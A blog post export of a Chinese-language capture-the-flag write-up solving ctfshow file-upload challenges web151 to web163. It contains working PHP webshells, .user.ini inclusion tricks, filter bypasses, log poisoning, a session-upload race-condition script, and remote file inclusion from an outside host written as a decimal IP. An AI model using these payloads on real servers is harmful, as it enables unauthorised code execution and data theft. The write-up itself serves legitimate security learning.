{"id":299,"date":"2022-10-27T22:51:27","date_gmt":"2022-10-27T14:51:27","guid":{"rendered":"http:\/\/162.14.82.114\/?p=299"},"modified":"2022-10-27T22:51:27","modified_gmt":"2022-10-27T14:51:27","slug":"web%e5%85%a5%e9%97%a8-%e6%96%87%e4%bb%b6%e4%b8%8a%e4%bc%a0","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/299\/10\/27\/2022\/","title":{"rendered":"WEB\u5165\u95e8\u2014\u2014\u6587\u4ef6\u4e0a\u4f20"},"content":{"rendered":"

\"VeryCapture_20221027222852\"<\/div><\/p>\n

web151<\/h1>\n
\u65b0\u7684\u8d77\u70b9\uff0c\u52a0\u6cb9\uff01<\/code><\/pre>\n
\u6253\u5f00\u73af\u5883\uff0c\u53d1\u73b0\uff1a<\/p>\n
\"image-20221009172158615\"<\/div><\/p>\n
\u67e5\u770b\u4e00\u4e0b\u524d\u7aef\u4ee3\u7801\uff1a<\/p>\n
\"image-20221009172319899\"<\/div><\/p>\n
\u5c06\u76f8\u5173\u524d\u7aef\u6821\u9a8c\u8fdb\u884c\u4fee\u6539\uff0c\u5c1d\u8bd5\u4e0a\u4f20\u4e00\u53e5\u8bdd\u6728\u9a6c\uff1a<\/p>\n
# webshell.php\n<?php @eval($_POST[1]);?><\/code><\/pre>\n
\u4e0a\u4f20\u6210\u529f\uff1a<\/p>\n
\"image-20221009172816139\"<\/div><\/p>\n
\u4f7f\u7528\u76f8\u5173\u5de5\u5177\u8fdb\u884c\u8fde\u63a5\u5373\u53ef\uff1a<\/p>\n
\"image-20221009182154619\"<\/div><\/p>\n
Hint<\/h2>\n
\u524d\u7aef\u9a8c\u8bc1\uff0c\u6293\u5305\u4fee\u6539\u6570\u636eOK<\/code><\/pre>\n
web152<\/h1>\n
\u540e\u7aef\u4e0d\u80fd\u5355\u4e00\u6821\u9a8c<\/code><\/pre>\n
\"image-20221009190740860\"<\/div><\/p>\n
\u518d\u50cf\u4e0a\u4e00\u9898\u4e00\u6837\u7684\u8bdd\u5c31\u4f1a\u5f39\u51fa\u6587\u4ef6\u7c7b\u578b\u4e0d\u7b26\u5408\u8981\u6c42\uff0c\u731c\u6d4b\u6709\u540e\u7aef\u6821\u9a8c\uff0c\u4fee\u6539\u524d\u7aef\u4ee3\u7801\u540e\u8fdb\u884c\u6293\u5305\u6539\u5305\uff1a<\/p>\n
\"image-20221009191449598\"<\/div><\/div>\n
\u7136\u540e\u53d1\u73b0\u4e0a\u4f20\u6210\u529f\uff1a<\/p>\n
\"image-20221009191528466\"<\/div><\/p>\n
\u8681\u5251\u8fde\u63a5\u83b7\u5f97flag\u5373\u53ef\uff01\uff01<\/p>\n
web153<\/h1>\n
\u540e\u7aef\u4e0d\u80fd\u5355\u4e00\u6821\u9a8c<\/code><\/pre>\n
\"image-20221009201825865\"<\/div><\/p>\n
\u8001\u6837\u5b50\u8bd5\u4e00\u4e0b\uff0c\u5148\u5c06\u524d\u7aef\u6821\u9a8c\u4ee3\u7801\u6539\u4e00\u4e0b\uff0c\u7136\u540e\u6293\u5305\uff0c\u4fee\u6539Content-Type<\/code>\uff0c\u4f46\u662f\u4e0a\u4f20\u5931\u8d25\uff1a<\/p>\n
\"image-20221009202052388\"<\/div><\/p>\n
\u731c\u60f3\u53ef\u80fd\u9650\u5236\u4e86\u6587\u4ef6\u540d\uff0c\u4f7f\u7528\u5927\u5c0f\u5199\u770b\u770b\u662f\u5426\u53ef\u4ee5\u7ed5\u8fc7\uff0c\u6210\u529f\uff01\uff01\uff01<\/p>\n
\"image-20221009202154127\"<\/div><\/p>\n
\u8bbf\u95ee\u53d1\u73b0\u5e76\u672a\u89e3\u6790\u6210php\uff0c\u800c\u662f\u7ed9\u4e86\u4e00\u4e2a\u6587\u4ef6\uff0c\u8681\u5251\u8fde\u63a5\u4e5f\u663e\u793a\u65e0\u8fd4\u56de\uff0c\u6ca1\u529e\u6cd5\u53e6\u5bfb\u4ed6\u6cd5\u5427\u3002\u3002\u3002\u3002<\/p>\n
\u4e0d\u8fc7\u5e76\u4e0d\u662f\u4e00\u65e0\u6240\u83b7\uff0c\u5c1d\u8bd5\u4e0a\u4f20\u5176\u4ed6\u7684\u6587\u4ef6\u540d\u53d1\u73b0\u90fd\u53ef\u4ee5\u6210\u529f\uff0c\u731c\u6d4b\u8fd9\u91cc\u662f\u4e00\u4e2a\u9ed1\u540d\u5355\u8fc7\u6ee4\uff0c\u5c1d\u8bd5\u4e0a\u4f20\u6587\u4ef6\u540e\u7f00\u540d\u6539\u4e3aphp5<\/code>\u3001phps<\/code>\u7b49\u53d1\u73b0\u4e0d\u884c\u3002\u3002\u3002\u3002<\/p>\n
\u7ee7\u7eed\u89c2\u5bdf\u9898\u76ee\uff0c\u770b\u5230upload\u76ee\u5f55\u6709\u56de\u663e\uff0c\u8bf4\u660e\u6709index.php\u3002<\/p>\n
\"image-20221009205531139\"<\/div><\/p>\n
\u5c1d\u8bd5\u4e0a\u4f20.user.ini<\/code><\/p>\n
# .user.ini\nauto_prepend_file = 1.txt<\/code><\/pre>\n
\u610f\u601d\u662f\u81ea\u52a8\u89e3\u67901.txt\u7684\u811a\u672c\u6587\u4ef6\uff1a<\/p>\n
\"image-20221009210309951\"<\/div>
\n
\"image-20221009210440617\"<\/div><\/p>\n
\u7136\u540e\u8bbf\u95ee\/upload<\/code>\uff0c\u4f7f\u7528\u5bc6\u7801\u83b7\u53d6flag\u5373\u53ef\u3002\u3002\u3002\u3002<\/p>\n
\"image-20221009210546835\"<\/div><\/p>\n
\u8fd9\u91ccPOST\u5c11\u4e86\u4e00\u4e2a;<\/code>\uff0c\u52a0\u4e0a\u5c31\u80fd\u5f97\u5230flag\u4e86\uff01\uff01\uff01\uff01<\/p>\n
web154<\/h1>\n
\u540e\u7aef\u4e0d\u80fd\u5355\u4e8c\u6821\u9a8c<\/code><\/pre>\n
\"image-20221009211327042\"<\/div><\/p>\n
\u6309\u7167\u4e0a\u4e00\u9898\u7684\u601d\u8def\u8fdb\u884c\u5c1d\u8bd5\uff1a<\/p>\n
\u5148\u4e0a\u4f20.user.ini<\/h2>\n
\"image-20221009211604196\"<\/div><\/p>\n
\u518d\u4e0a\u4f201.txt<\/h2>\n
\"image-20221009211727118\"<\/div><\/p>\n
\u51fa\u73b0\u62a5\u9519\u4e86\uff0c\u770b\u4e00\u4e0b\u62a5\u7684\u5565\u9519\u8bef\uff1a<\/p>\n
\"image-20221009211758980\"<\/div><\/p>\n
\u53ef\u4ee5\u77e5\u9053\u8fd9\u65f6\u5019\u540e\u53f0\u5bf9\u6587\u4ef6\u5185\u5bb9\u8fdb\u884c\u4e86\u9650\u5236\uff0c\u5148\u731c\u6d4b\u662f\u5bf9php\u8fdb\u884c\u4e86\u9650\u5236\uff0c\u5c06php\u6539\u6389\u770b\u770b\u6709\u6ca1\u6709\u7528\uff1a<\/p>\n
\"image-20221009211907953\"<\/div><\/p>\n
\u53ef\u4ee5\u770b\u5230\u662f\u4e0a\u4f20\u6210\u529f\u4e86\uff0c\u8bf4\u660e\u8fd9\u91cc\u662f\u5bf9php\u8fdb\u884c\u4e86\u8fc7\u6ee4\uff0c\u8fd9\u91cc\u5c31\u9700\u8981\u7528\u5230\u4e00\u79cd\u8fdc\u53e4\u5199\u6cd5\uff1a<\/p>\n
<?=$a;?>\n==> <?php echo $a;?><\/code><\/pre>\n
\u8fd9\u91cc\u76f4\u63a5\u4f7f\u7528\u8fd9\u79cd\u5199\u6cd5\u5c31\u53ef\u4ee5\u8fc7\u4e86\uff01\uff01\uff01<\/p>\n
\"image-20221009212231615\"<\/div><\/p>\n
\u5229\u7528shell\u83b7\u53d6flag<\/h2>\n
\"image-20221009212327855\"<\/div><\/p>\n
\u63d0\u4ea4\u5373\u53ef\u83b7\u5f97flag\uff01\uff01\uff01<\/p>\n
web155<\/h1>\n
\u540e\u7aef\u4e0d\u80fd\u5355\u4e09\u6821\u9a8c<\/code><\/pre>\n
\u6309\u7167\u4e0a\u4e00\u9898\u7684\u65b9\u6cd5\uff0c\u770b\u4e00\u4e0bupload<\/code>\u76ee\u5f55\u4e0b\u6709\u6ca1\u6709php\u6587\u4ef6\uff1a<\/p>\n
\"image-20221021142047662\"<\/div><\/p>\n
\u53d1\u73b0\u662f\u6709\u7684\uff0c\u53c2\u8003\u4e0a\u4e00\u9898\u601d\u8def\u4f20\u5165.ini<\/code>\u914d\u7f6e\u6587\u4ef6\uff0c\u5148\u5c06\u524d\u7aef\u6821\u9a8c\u6539\u6210\u5141\u8bb8ini<\/code>\u540e\u7f00\u540d\u901a\u8fc7\u3002<\/p>\n
\"image-20221021142432690\"<\/div><\/p>\n
\u4f20\u5165\u6587\u4ef6\uff0c\u4f7f\u7528burp\u8fdb\u884c\u62e6\u622a\uff0c\u4fee\u6539content-type<\/code>:<\/p>\n
\"image-20221021142751438\"<\/div><\/p>\n
\u518d\u4f20\u51651.txt\u3002<\/p>\n
\"image-20221021143540689\"<\/div><\/p>\n
\u7136\u540e\u518dupload\u547d\u4ee4\u6267\u884c\u5373\u53ef\uff1a<\/p>\n
\"image-20221021143610639\"<\/div><\/p>\n
nice\uff01\uff01\uff01\uff01<\/p>\n
web156<\/h1>\n
\u540e\u7aef\u4e0d\u80fd\u5355\u56db\u6821\u9a8c<\/code><\/pre>\n
\u7ee7\u7eed\u5c1d\u8bd5\u4e0a\u4e00\u9898\u6b65\u9aa4\u770b\u770b\u80fd\u4e0d\u80fd\u767d\u5ad6\uff01\uff01\uff01<\/p>\n
\"image-20221021144034628\"<\/div><\/p>\n
\u6709\u620f\uff01\uff01\uff01<\/p>\n
\"image-20221021144602600\"<\/div><\/p>\n
nice\uff01\uff01\uff01\u53ea\u5269\u4e0b\u4f201.txt\u4e86\uff01\uff01<\/p>\n
\"image-20221021144719022\"<\/div><\/p>\n
\u770b\u4e00\u4e0b\u62a5\u4e86\u5565\u9519\uff1a<\/p>\n
\"image-20221021144750709\"<\/div><\/p>\n
\u3002\u3002\u3002\u3002\u3002\u731c\u6d4b\u662f\u4f7f\u7528\u4e86\u767d\u540d\u5355\u3002\u3002\u3002<\/p>\n
\u518d\u6b21\u5c1d\u8bd5\uff1a<\/p>\n
\"image-20221021144947560\"<\/div><\/p>\n
\u7136\u540e\u4e0a\u4f201.png<\/code><\/p>\n
\"image-20221021145049442\"<\/div><\/p>\n
\u4f46\u662f\u53d1\u73b0\u4f20\u9519\u4e86\uff0c\u518d\u6b21\u4e0a\u4f20\u7684\u65f6\u5019\u5c31\u5931\u8d25\u4e86\u3002\u3002\u3002\u3002<\/p>\n
\"image-20221021145246833\"<\/div><\/p>\n
\u731c\u6d4b\u8fc7\u6ee4\u4e86[]<\/code>\uff0c\u4f7f\u7528{}<\/code>\u7ed5\u8fc7\uff1a<\/p>\n
\"image-20221021145342293\"<\/div><\/p>\n
\u547d\u4ee4\u6267\u884c\u83b7\u5f97flag\uff01\uff01\uff01<\/p>\n
\"image-20221021145452158\"<\/div><\/p>\n
\u8fd9\u4e48\u770b\u8d77\u6765\u53ef\u80fd\u4e0a\u9762\u7b2c\u4e00\u6b21\u5931\u8d25\u4e0d\u662f\u56e0\u4e3a\u767d\u540d\u5355\uff0c\u5c1d\u8bd5\u4f201.txt<\/code>:<\/p>\n
\"image-20221021145624026\"<\/div><\/p>\n
\u6210\u529f\uff0c\u770b\u6765\u662f\u6211\u8bef\u4f1a\u51fa\u9898\u8005\u7684\u610f\u601d\u4e86\uff0c\u672c\u9898\u5e94\u8be5\u53ea\u662f\u60f3\u8003\u5bdf\u4e00\u4e0b[]<\/code>\u4e0e{}<\/code>\u66ff\u6362\u7ed5\u8fc7\u7684\u77e5\u8bc6\u70b9\u3002<\/p>\n
web157<\/h1>\n
\u540e\u7aef\u4e0d\u80fd\u5355\u4e94\u6821\u9a8c<\/code><\/pre>\n
\u6309\u7167\u4e0a\u9762\u7684\u89e3\u9898\u601d\u8def\u8fdb\u884c\u89e3\uff0c\u8fd8\u662f\u8001\u6837\u5b50\u4e0a\u4f20.user.ini<\/code>\u6587\u4ef6\uff0c\u6210\u529f\u4ee5\u540e\u4e0a\u4f201.txt<\/p>\n
\"image-20221021150724013\"<\/div><\/p>\n
\u53c8\u63d0\u793a\u6587\u4ef6\u7c7b\u578b\u62a5\u9519\u3002\u3002\u3002\u3002\u5c1d\u8bd5\u4fee\u6539\u6587\u4ef6\u540d\uff0c\u53d1\u73b0\u8fd8\u662f\u4e0d\u5bf9\u3002\u3002\u3002\u5c1d\u8bd5\u628a\u95ee\u597d\u53bb\u6389\uff1a<\/p>\n
<?=eval($_POST{1});?>\n<script language="php">eval($_POST{1});<\/script><\/code><\/pre>\n
\u4f46\u662f\u8fd8\u662f\u4e0d\u884c\uff0c\u5c1d\u8bd5\u5c06\uff1b\u53bb\u6389\uff0c\u53d1\u73b0\u6210\u529f\u4e86\uff01\uff01\uff01<\/p>\n
<?=system('tac ..\/f*')?><\/code><\/pre>\n
\"image-20221021155845205\"<\/div><\/p>\n
\u8bbf\u95ee\/upload<\/code>\u5f97\u5230flag\uff01\uff01\uff01\uff01<\/p>\n
\u5927\u5e08\u5085\u89e3\u6cd5\uff1a<\/h2>\n
<?=eval(array_pop($_POST))?>\nPOST:1=system("tac ..\/flag.php");\nctrl+R \u540eflag\u663e\u73b0\uff01\uff01\uff01<\/code><\/pre>\n
\"image-20221021162754920\"<\/div><\/p>\n
\u8fd9\u91cc\u5199\u7684\u5b57\u7b26\u5728nothing here<\/code>\u524d\u9762\u8fd8\u662f\u540e\u9762\u4e3b\u8981\u53d6\u51b3\u4e8e\u524d\u9762\u6240\u4f20\u7684.user.ini<\/code><\/p>\n
\n
auto_prepend_file=filename<\/code>      \/\/\u5305\u542b\u5728\u6587\u4ef6\u5934 <\/p>\n
auto_append_file=filename <\/code>      \/\/\u5305\u542b\u5728\u6587\u4ef6\u5c3e <\/p>\n
\u200b                                                 \/\/filename\u662f\u4f60\u81ea\u5df1\u7684\u6587\u4ef6\u540d<\/p>\n<\/blockquote>\n
web158<\/h1>\n
\u540e\u7aef\u4e0d\u80fd\u5355\u516d\u6821\u9a8c<\/code><\/pre>\n
\u6309\u7167\u4e0a\u4e00\u9898\u601d\u8def\u505a\u53d1\u73b0\u53ef\u4ee5\u767d\u5ad6\uff01\uff01\uff01\uff01<\/p>\n
\u4e0d\u51faflag\u548b\u6574<\/h2>\n
\u5148\u8bbf\u95ee\/upload\/1.txt<\/code>\u770b\u5230\u663e\u793a\u4e86<?=system('tac ..\/f*')?><\/code>\u8bf4\u660e\u524d\u9762\u505a\u7684\u662f\u5bf9\u7684\uff0c\u518d\u8fd4\u56de\u67e5\u770b\u4e00\u4e0b\/upload<\/code>\uff0cflag\u5c31\u81ea\u52a8\u51fa\u6765\u4e86\uff01\uff01\uff01<\/p>\n
web159<\/h1>\n
\u5e08\u5085\u4eec\u53ef\u4ee5\u7684<\/code><\/pre>\n
\u7ee7\u7eed\u767d\u5ad6\uff0c\u7136\u540e\u53d1\u73b0\uff1a<\/p>\n
\"image-20221021171538135\"<\/div><\/p>\n
\u5c1d\u8bd5\u4e0a\u4f20\u7b26\u53f7\u770b\u4e00\u4e0b\u54ea\u4e9b\u4f1a\u4ea7\u751f\u62a5\u9519\uff1a<\/p>\n
\"image-20221021172134254\"<\/div>
\n
\"image-20221021172158159\"<\/div><\/p>\n
\u53d1\u73b0\u62ec\u53f7\u88ab\u7981\u7528\u4e86\uff0c\u518d\u770b\u770b\u522b\u7684\uff1a<\/p>\n
\"image-20221021172352311\"<\/div><\/p>\n
\u53d1\u73b0[]<\/code>\u3001{}<\/code>\u3001;<\/code>\u88ab\u7981\u7528\u4e86\uff0c\u4e0e\u4e0a\u9762\u7684\u731c\u6d4b\u662f\u4e00\u81f4\u7684\uff0c\u6240\u4ee5\u8fd9\u91cc\u4f7f\u7528\u53cd\u5f15\u53f7\u6267\u884c\u547d\u4ee4\uff1a<\/p>\n
<?=`tac ..\/f*`?><\/code><\/pre>\n
\u8bbf\u95ee\/upload<\/code>\u5f97\u5230flag\uff01\uff01\uff01\uff01<\/p>\n
web160<\/h1>\n
\u5e08\u5085\u4eec\u53ef\u4ee5\u7684<\/code><\/pre>\n
\u65e5\u5fd7\u5305\u542b<\/h2>\n
\u67e5\u770b\u4e00\u4e0b\/upload<\/code>\u53d1\u73b0\u8fd8\u6709\uff0c\u7ee7\u7eed\u767d\u5ad6\uff0c\u4f46\u662f\u62a5\u9519\u4e86\uff1a<\/p>\n
\"image-20221021173929460\"<\/div><\/p>\n
\u5c1d\u8bd5\u4e00\u4e0b\u770b\u770b\u662f\u4e0d\u662f\u88ab\u5c01\u6389\u4e86\uff0c\u53d1\u73b0\u53cd\u5f15\u53f7\u548c\u7a7a\u683c\u90fd\u88abban\u6389\u4e86\u3002\u3002\u3002\u3002<\/p>\n
\u67e5\u770b\u5e08\u5085\u4eec\u7684wp\u53d1\u73b0\u5f97\u7528\u65e5\u5fd7\u5305\u542b\u505a\u3002\u3002<\/p>\n
\u5148\u4f20\u4e00\u4e2a\u914d\u7f6e\u6587\u4ef6<\/p>\n
# .user.ini\nauto_append_file=\/var\/www\/html\/upload\/1.txt<\/code><\/pre>\n
\u5c1d\u8bd5\u53d1\u73b0log\u88abban\u6389\u4e86\uff0c\u5c1d\u8bd5\u4f7f\u7528php\u62fc\u63a5\u8bed\u6cd5\uff1a<\/p>\n
<?=include"\/var\/lo"."g\/nginx\/access.lo"."g"?><\/code><\/pre>\n
\"image-20221021180451502\"<\/div><\/p>\n
\u8bbf\u95ee\u4e00\u4e0b\u6839\u76ee\u5f55\uff08\u5c31\u662f\u9898\u76ee\u7684\u7f51\u5740\uff09\uff0c\u63d0\u4ea4\u4e00\u4e2aUA(User-Agent<\/code>)<\/p>\n
<?php system('tac ..\/f*');?><\/code><\/pre>\n
\u7136\u540e\u8bbf\u95ee\/upload<\/code>\u5373\u53ef\u5728\u6700\u540e\u83b7\u5f97flag\uff01\uff01\uff01<\/p>\n
\u65b9\u6cd5\u4e8c\uff1a\u63d0\u4ea4\u56fe\u7247<\/h2>\n
\u5148\u4e0a\u4f20.user.ini\uff0c\u518d\u4e0a\u4f20\u56fe\u7247\uff0c\u56fe\u7247\u5185\u5bb9\u4e3a<\/p>\n
<?=include"ph"."p:\/\/filter\/convert.base64-encode\/resource=..\/flag.p"."hp"?><\/code><\/pre>\n
\u7136\u540e\u76f4\u63a5\u8bbf\u95ee\/upload\/\uff0c\u8fdb\u884cbase64\u89e3\u7801\u5c31\u884c<\/p>\n
web161<\/h1>\n
\u72ee\u864e\u4eec\u8f7b\u70b9\uff0c\u5624\u5624\u5624<\/code><\/pre>\n
\u7ed9\u4e0a\u9898\u52a0\u4e0a\u4e00\u4e2a\u6587\u4ef6\u5934\u5373\u53ef\uff1a<\/p>\n
getimagesize(): \u4f1a\u5bf9\u76ee\u6807\u6587\u4ef6\u768416\u8fdb\u5236\u53bb\u8fdb\u884c\u4e00\u4e2a\u8bfb\u53d6\uff0c\u53bb\u8bfb\u53d6\u5934\u51e0\u4e2a\u5b57\u7b26\u4e32\u662f\u4e0d\u662f\u7b26\u5408\u56fe\u7247\u7684\u8981\u6c42<\/code><\/pre>\n
# .user.ini\nGIF89a\nauto_append_file=\/var\/www\/html\/upload\/1.txt\n# 1.txt\nGIF89a\n<?=include"ph"."p:\/\/filter\/convert.base64-encode\/resource=..\/flag.p"."hp"?><\/code><\/pre>\n
\u7136\u540e\u8bbf\u95ee\/upload<\/code>\u5f97\u5230:<\/p>\n
PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0yMSAyMTozMToyMw0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMTAtMTYgMjI6NDE6NDANCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxhZz0iY3Rmc2hvd3syNjI2YThlZS1kZjBkLTQ0MzUtOGE4Zi01NjY3MzY3OTRhOGN9Ijs=1\n----------------------------------------------------------------------------------    \n<?php\n\n\/*\n# -*- coding: utf-8 -*-\n# @Author: h1xa\n# @Date:   2020-09-21 21:31:23\n# @Last Modified by:   h1xa\n# @Last Modified time: 2020-10-16 22:41:40\n# @email: h1xa@ctfer.com\n# @link: https:\/\/ctfer.com\n\n*\/\n\n$flag="ctfshow{2626a8ee-df0d-4435-8a8f-566736794a8c}";\u00d4<\/code><\/pre>\n
web162<\/h1>\n
\u59ff\u52bf\u633a\u591a\u7684\u554a\uff1f\u554a\uff1f<\/code><\/pre>\n
\u975e\u9884\u671f\u89e3\uff1a\u8fdc\u7a0b\u6587\u4ef6\u5305\u542b<\/h2>\n
<?=include"http:\/\/1363569045\/?><\/code><\/pre>\n
\u4f46\u662f\u8fd9\u4e2a\u7ad9\u70b9\u4e0d\u884c\u4e86\u3002\u3002<\/p>\n
\u9884\u671f\u89e3\uff1aSession\u5305\u542b\u6761\u4ef6\u7ade\u4e89-\u811a\u672c<\/h2>\n
\u9898\u76ee\u7981\u7528\u4e86.<\/code>\uff0c\u53ea\u80fd\u4f7f\u7528session\u8fdb\u884c\u6761\u4ef6\u7ade\u4e89\u4e86\u3002\u3002\u3002<\/p>\n
\"image-20221024115142574\"<\/div>
\n
\"image-20221024115310707\"<\/div><\/p>\n
# coding=utf-8\nimport io\nimport requests\nimport threading\n\nsessID = 'test'\nurl = 'http:\/\/5bd840c1-215f-42e6-8574-6c3bf67fc5de.challenge.ctf.show\/'\n\ndef write(session):\n    while event.isSet():\n        f = io.BytesIO(b'a' * 256 * 1)\n        response = session.post(\n            url,\n            cookies={'PHPSESSID': sessID},\n            data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("nl ..\/*.php");?>'},\n            files={'file': ('test.txt', f)}\n        )\n\ndef read(session):\n    while event.isSet():\n        response = session.get(url + 'upload\/index.php'.format(sessID))\n        if 'flag' in response.text:\n            print(response.text)\n            event.clear()\n        else:\n            print('[*]retrying...')\n\nif __name__ == '__main__':\n    event = threading.Event()\n    event.set()\n    with requests.session() as session:\n        for i in range(1, 5):\n            threading.Thread(target=write, args=(session,)).start()\n\n        for i in range(1, 5):\n            threading.Thread(target=read, args=(session,)).start()<\/code><\/pre>\n
\u6ca1\u8dd1\u51fa\u6765\u3002\u3002\u3002\u3002<\/p>\n
\u975e\u9884\u671f\u89e3\uff1a\u4f2a\u534f\u8bae<\/h2>\n
# .user.ini\nGIF89a\nauto_prepend_file=\/var\/www\/html\/upload\/png\n# png\nGIF89a\n<?=require~%9b%9e%8b%9e%c5%d0%d0%8b%9a%87%8b%d0%8f%93%9e%96%91%d3%c3%c0%8f%97%8f%df%8c%86%8c%8b%9a%92%d7%d8%8b%9e%9c%df%d1%d1%d0%99%d5%d8%d6%c4%c0%c1?><\/code><\/pre>\n
Kradress<\/a>\u5e08\u5085\u5199\u7684\u7b80\u5355\u53d6\u53cd\u811a\u672c\uff1a<\/p>\n
<?php\n$a = "data:\/\/text\/plain,<?php system('tac ..\/f*');?>";\necho "~(";\nfor ($i = 0; $i < strlen($a); $i++) {\n    echo "%".bin2hex(~$a[$i]);\n}\necho ")";\n\/\/~(%9b%9e%8b%9e%c5%d0%d0%8b%9a%87%8b%d0%8f%93%9e%96%91%d3%c3%c0%8f%97%8f%df%8c%86%8c%8b%9a%92%d7%d8%8b%9e%9c%df%d1%d1%d0%99%d5%d8%d6%c4%c0%c1)<\/code><\/pre>\n
\u6211\u8fd9\u8fb9\u8bd5\u9a8c\u7684\u65f6\u5019\u6709\u4ee5\u4e0b\u62a5\u9519\uff1a<\/p>\n
\"image-20221024113821629\"<\/div><\/p>\n
\u7136\u540e\u591a\u756a\u5c1d\u8bd5\u65e0\u679c\u540e\uff0c\u5411\u7fa4\u53cb\u8fdb\u884c\u4e86\u6c42\u52a9\uff1a<\/p>\n
\"image-20221024113803065\"<\/div><\/p>\n
\u5f97\u5230\u7684\u56de\u5e94\uff1a<\/p>\n
\"image-20221024114701585\"<\/div><\/p>\n
\u770b\u6765\u8fd9\u4e2a\u65b9\u6cd5\u6682\u65f6\u6ca1\u529e\u6cd5\u4f7f\u7528\u3002<\/p>\n
\u9884\u671f\u89e3\uff1aSession\u5305\u542b\u6761\u4ef6\u7ade\u4e89-\u811a\u672c<\/h2>\n
\u5148\u4e0a\u4f20.user.ini,\u5185\u5bb9\u4e3a\uff1a<\/p>\n
GIF89A\nauto_append_file=\/tmp\/sess_hacker<\/code><\/pre>\n
\u8fd8\u662f\u5148\u6784\u9020\u4e00\u4e2a\u4e0a\u4f20seeeion\u6587\u4ef6\u7684\u5305<\/p>\n
<!DOCTYPE html>\n<html>\n<body>\n<form action="http:\/\/5bd840c1-215f-42e6-8574-6c3bf67fc5de.challenge.ctf.show\/" method="POST" enctype="multipart\/form-data">\n    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" \/>\n    <input type="file" name="file" \/>\n    <input type="submit" value="submit" \/>\n<\/form>\n<\/body>\n<\/html><\/code><\/pre>\n
\u6539Cookie:PHPSESSID=hacker<\/code><\/p>\n
\u5728123\u90a3\u91cc\u5199\u5165\u5185\u5bb9<\/p>\n
<?php system('tac ..\/f*');?><\/code><\/pre>\n
\u8bbf\u95eeupload\/<\/code>\u76ee\u5f55\uff0c\u76ee\u5f55\u4e0b\u6709index.php<\/code>\u6587\u4ef6\uff0c\u5373\u76f8\u5f53\u4e8e\u5728index.php<\/code>\u6587\u4ef6\u4e2d\u6267\u884cinclude \/tmp\/sess_hacker<\/code><\/p>\n
\u5bf9\u4e24\u4e2a\u5305\u8fdb\u884c\u6709\u6548\u8f7d\u8377\u7684\u8bbe\u7f6e\uff0c\u7136\u540e\u7ade\u4e89\u3002<\/p>\n
\u81ea\u521b\u505a\u6cd5-\u5931\u8d25<\/h2>\n
\u56e0\u4e3a\u6211\u6709\u4e2a\u535a\u5ba2\u561b\uff0c\u5c31\u4e70\u4e86\u4e00\u4e2aoss\u56fe\u5e8a\uff0c\u6211\u5148\u4e0a\u4f20\u4e00\u4e2a\u4e0d\u5e26\u540e\u7f00\u540d\u7684\u6587\u4ef6\u4e0a\u53bb\uff0c\u5c06\u5730\u5740\u6539\u4e3a\u7eaf\u6570\u5b57\uff0c\u518d\u8fdc\u7a0b\u6587\u4ef6\u5305\u542b\u770b\u770b\u884c\u4e0d\u884c\uff01\uff01\uff01<\/p>\n
\u8bbf\u95ee\u4e00\u4e0b\uff1a\u62a5\u9519\u4e86\uff1a<\/p>\n
This XML file does not appear to have any style information associated with it. The document tree is shown below.<\/code><\/pre>\n
\u6ca1\u6709\u540e\u7f00\u540d\u7684\u6587\u4ef6\u4e0d\u597d\u89e3\u6790\u3002\u3002\u3002\u3002<\/p>\n
\u518d\u6b21\u5c1d\u8bd5-\u7fa4\u91cc\u518d\u6b21\u7262\u9a9a\u4e86\u4e00\u756a<\/h2>\n
\"image-20221025133504595\"<\/div><\/div>\n
\u5c06ip(\u4fe1\u606f\u641c\u96c6)\u8f6c\u5316\u4e3a\u957f\u5730\u5740\uff1a<\/p>\n
def ip2long(ip):\n    ip_list=ip.split('.') #\u2fb8\u5148\u5148\u628aip\u7684\u7ec4\u6210\u4ee5'.'\u5207\u5272\u7136\u540e\u9010\u6b21\u8f6c\u6362\u6210\u5bf9\u5e94\u7684\u2f06\u8fdb\u5236\n    result = 0\n    for i in range(4): #0,1,2,3\n        result = result+int(ip_list[i])*256**(3-i)\n    print(result)\n    return result\nip2long("43.154.107.226")\n#731540450<\/code><\/pre>\n
\"image-20221025134135431\"<\/div><\/p>\n
\u7136\u540e\u67e5\u770b\u4e00\u4e0b\uff0c\u6709\u620f\uff01\uff01\uff01\uff01<\/p>\n
\"image-20221025134210442\"<\/div><\/p>\n
UA\u76f4\u63a5\u8bfbflag\u5373\u53ef\uff1a<\/p>\n
\"image-20221025135514520\"<\/div><\/p>\n
\u7136\u540ebase64\u89e3\u7801\u5373\u53ef\uff1a<\/p>\n
<?php\n\n\/*\n# -*- coding: utf-8 -*-\n# @Author: h1xa\n# @Date:   2020-09-21 21:31:23\n# @Last Modified by:   h1xa\n# @Last Modified time: 2020-10-16 22:41:40\n# @email: h1xa@ctfer.com\n# @link: https:\/\/ctfer.com\n\n*\/\n\n$flag="ctfshow{1db95566-2853-4295-9dbe-82fc8c31a354}";<\/code><\/pre>\n
web163<\/h1>\n
\u7389\u77f3\u4ff1\u711a<\/code><\/pre>\n
\u975e\u9884\u671f\u89e3-\u8fdc\u7a0b\u6587\u4ef6\u5305\u542b<\/h2>\n
# .user.ini\nauto_append_file=http:\/\/1363569045\/<\/code><\/pre>\n
\u5927\u5e08\u5085\u725b\u903c<\/h2>\n
\u6211\u518d\u91cd\u590d\u4e0a\u4e00\u9898\u89e3\u6cd5\u7684\u65f6\u5019\u62a5\u9519\u4e86\uff0c\u7136\u540e\u6211\u5728\u7fa4\u91cc\u95ee\uff1a<\/p>\n
\n    
\"image-20221025140828454\"<\/div>\n<\/div>\n
\u91cd\u5f00\u73af\u5883\uff0c\u91cd\u65b0\u6765\uff01\uff01\uff01\u5927\u5e08\u5085\u6211\u597d\u7231\uff01\uff01\uff01<\/p>\n
\u6210\u529f\u4e86\uff1a<\/p>\n
\"image-20221025142616279\"<\/div><\/p>\n
